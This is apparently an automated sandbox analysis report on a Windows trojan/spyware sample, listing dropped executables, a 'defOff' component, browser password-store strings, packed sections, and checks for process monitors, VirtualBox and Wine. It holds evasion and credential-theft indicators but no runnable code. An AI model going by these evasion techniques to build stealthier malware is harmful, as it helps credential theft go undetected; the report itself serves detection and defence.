Source: 20yLTIU4mS.exe, 00000000.00000003.2354647236.00000000058FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2358675476.0000000005C54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2354409773.000000000580B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2369403206.0000000005B98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2354409773.0000000005886000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2370122634.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2376174509.0000000005CDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2358820818.0000000005B97000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2373851497.0000000005CBD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2357170007.0000000005CE5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2369657534.0000000005C8B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2361546058.0000000005C68000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2377655238.0000000005E1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2371112130.0000000005B9B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe

Source: 20yLTIU4mS.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 20yLTIU4mS.exe	Static PE information: Section: ZLIB complexity 0.997418129280822
Source: 20yLTIU4mS.exe	Static PE information: Section: cgayxfzg ZLIB complexity 0.9948199209199267

Source: VVRXVZ2T118YVIGZN2.exe.0.dr

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/3@11/4

Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe

Code function: 3_2_04BC15D0 ChangeServiceConfigA,

3_2_04BC15D0

Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ARULVP7S24STX85EO46I8EXOL.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\20yLTIU4mS.exe

File created: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe

Jump to behavior

Source: C:\Users\user\Desktop\20yLTIU4mS.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 20yLTIU4mS.exe, 00000000.00000003.2169359371.000000000556C000.00000004.00000800.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2168979124.0000000005588000.00000004.00000800.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2190872235.000000000556A000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 20yLTIU4mS.exe	Virustotal: Detection: 61%
Source: 20yLTIU4mS.exe	ReversingLabs: Detection: 60%

Source: 20yLTIU4mS.exe	String found in binary or memory: "app.update.lastUpdateTime.recipe-client-addon-run", 1696426836); user_pref("app.update.lastUpdateTime.region-update-timer", 0); user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837); user_pref("app.update.lastUpdateTime.xpi-signatur
Source: ARULVP7S24STX85EO46I8EXOL.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: ARULVP7S24STX85EO46I8EXOL.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\20yLTIU4mS.exe

File read: C:\Users\user\Desktop\20yLTIU4mS.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\20yLTIU4mS.exe "C:\Users\user\Desktop\20yLTIU4mS.exe"
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Process created: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe "C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe"
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Process created: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe "C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe"
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Process created: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe "C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe"	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Process created: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe "C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe"	Jump to behavior

Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: 20yLTIU4mS.exe

Static file information: File size 1840128 > 1048576

Source: 20yLTIU4mS.exe

Static PE information: Raw size of cgayxfzg is bigger than: 0x100000 < 0x199000

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: ARULVP7S24STX85EO46I8EXOL.exe, 00000003.00000002.2539034132.0000000000312000.00000040.00000001.01000000.00000006.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Unpacked PE file: 3.2.ARULVP7S24STX85EO46I8EXOL.exe.310000.0.unpack :EW;.rsrc:W;.idata :W;tnrxecbv:EW;anayjrgy:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Unpacked PE file: 4.2.VVRXVZ2T118YVIGZN2.exe.de0000.0.unpack :EW;.rsrc:W;.idata :W;pkmjmmvt:EW;ypshbykv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;pkmjmmvt:EW;ypshbykv:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 20yLTIU4mS.exe	Static PE information: real checksum: 0x1cb624 should be: 0x1ca30e
Source: VVRXVZ2T118YVIGZN2.exe.0.dr	Static PE information: real checksum: 0x2cb59d should be: 0x2cf94d
Source: ARULVP7S24STX85EO46I8EXOL.exe.0.dr	Static PE information: real checksum: 0x2c49df should be: 0x2b6c61

Source: 20yLTIU4mS.exe	Static PE information: section name:
Source: 20yLTIU4mS.exe	Static PE information: section name: .idata
Source: 20yLTIU4mS.exe	Static PE information: section name:
Source: 20yLTIU4mS.exe	Static PE information: section name: cgayxfzg
Source: 20yLTIU4mS.exe	Static PE information: section name: rvxmyzlm
Source: 20yLTIU4mS.exe	Static PE information: section name: .taggant
Source: ARULVP7S24STX85EO46I8EXOL.exe.0.dr	Static PE information: section name:
Source: ARULVP7S24STX85EO46I8EXOL.exe.0.dr	Static PE information: section name: .idata
Source: ARULVP7S24STX85EO46I8EXOL.exe.0.dr	Static PE information: section name: tnrxecbv
Source: ARULVP7S24STX85EO46I8EXOL.exe.0.dr	Static PE information: section name: anayjrgy
Source: ARULVP7S24STX85EO46I8EXOL.exe.0.dr	Static PE information: section name: .taggant
Source: VVRXVZ2T118YVIGZN2.exe.0.dr	Static PE information: section name:
Source: VVRXVZ2T118YVIGZN2.exe.0.dr	Static PE information: section name: .idata
Source: VVRXVZ2T118YVIGZN2.exe.0.dr	Static PE information: section name: pkmjmmvt
Source: VVRXVZ2T118YVIGZN2.exe.0.dr	Static PE information: section name: ypshbykv
Source: VVRXVZ2T118YVIGZN2.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Code function: 0_3_00DF4CFC push esi; retf	0_3_00DF4CFF
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Code function: 0_3_00DF4CFC push esi; retf	0_3_00DF4CFF
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Code function: 0_3_00DF4CFC push esi; retf	0_3_00DF4CFF
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Code function: 0_3_00DF3187 push esi; retf	0_3_00DF318A
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Code function: 0_3_00DF3187 push esi; retf	0_3_00DF318A
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Code function: 0_3_00DF3187 push esi; retf	0_3_00DF318A
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Code function: 0_3_00DBC344 pushad ; ret	0_3_00DBC351
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Code function: 0_3_00DBC364 push eax; ret	0_3_00DBC365
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Code function: 0_3_00DBC334 push eax; ret	0_3_00DBC341
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Code function: 0_3_00D9311A push es; retf	0_3_00D93161
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Code function: 0_3_00DD1DDC push esp; retf	0_3_00DD2061
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Code function: 0_3_00DDBF57 push ds; retf	0_3_00DDBF58
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Code function: 0_3_00DDA2D0 push 2800D9B3h; retf	0_3_00DDA2D5
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Code function: 0_3_00DD1E46 push esp; retf	0_3_00DD2061
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Code function: 0_3_00DD27FA pushfd ; iretd	0_3_00DD281D
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Code function: 0_3_00DDC377 push ds; retf	0_3_00DDC378
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Code function: 0_3_00DDCC6F push cs; iretd	0_3_00DDCC70
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Code function: 0_3_00DD281E pushad ; ret	0_3_00DD2821
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Code function: 0_3_00DD2822 pushfd ; iretd	0_3_00DD281D
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Code function: 0_3_00DF4CFC push esi; retf	0_3_00DF4CFF
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Code function: 0_3_00DF4CFC push esi; retf	0_3_00DF4CFF
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Code function: 0_3_00DF4CFC push esi; retf	0_3_00DF4CFF
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Code function: 0_3_00DF3187 push esi; retf	0_3_00DF318A
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Code function: 0_3_00DF3187 push esi; retf	0_3_00DF318A
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Code function: 0_3_00DF3187 push esi; retf	0_3_00DF318A
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Code function: 0_3_00DF4CFC push esi; retf	0_3_00DF4CFF
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Code function: 0_3_00DF4CFC push esi; retf	0_3_00DF4CFF
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Code function: 0_3_00DF4CFC push esi; retf	0_3_00DF4CFF
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Code function: 0_3_00DF3187 push esi; retf	0_3_00DF318A
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Code function: 0_3_00DF3187 push esi; retf	0_3_00DF318A
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Code function: 0_3_00DF3187 push esi; retf	0_3_00DF318A

Source: 20yLTIU4mS.exe	Static PE information: section name: entropy: 7.985055445795539
Source: 20yLTIU4mS.exe	Static PE information: section name: cgayxfzg entropy: 7.954843030921147

Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File created: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe			Jump to dropped file
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File created: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\20yLTIU4mS.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
